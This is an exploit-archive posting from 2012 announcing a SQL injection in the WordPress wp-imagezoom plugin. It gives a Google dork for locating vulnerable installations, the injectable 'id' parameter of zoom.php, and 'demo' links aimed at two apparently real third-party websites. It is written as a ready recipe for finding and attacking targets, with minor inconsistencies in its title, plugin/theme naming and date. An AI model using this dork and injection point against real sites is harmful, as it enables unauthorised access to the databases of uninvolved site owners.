Home / exploits

PDF

WordPress wp-imagezoon SQL Injection

Posted on 27 November 2012

# Exploit Title: Wordpress wp-imagezoom theme SQL injection #
# Google Dork: inurl:wp-content/plugins/wp-imagezoom/zoom.php?id= #
# Date: 2012-25-11
# Exploit Author: Ashiyane Digital Security Team #
# Discovered by : Amirh03in #
# Tested on: Linux #
# Security Risk : High - SQL Injection #
===================================
===================================
# Location: http://site.com/wp-content/plugins/wp-imagezoom/zoom.php?id=[SQL] #

# Demo : http://burgasbus.info/burgasbus/wp-content/plugins/wp-imagezoom/zoom.php?id=h87eO' #
 http://asiasons.com/wp-content/plugins/wp-imagezoom/zoom.php?id=GnAaX' #

=======================================
=======================================
Greetz to: My Lord ALLAH
=======================================

 

TOP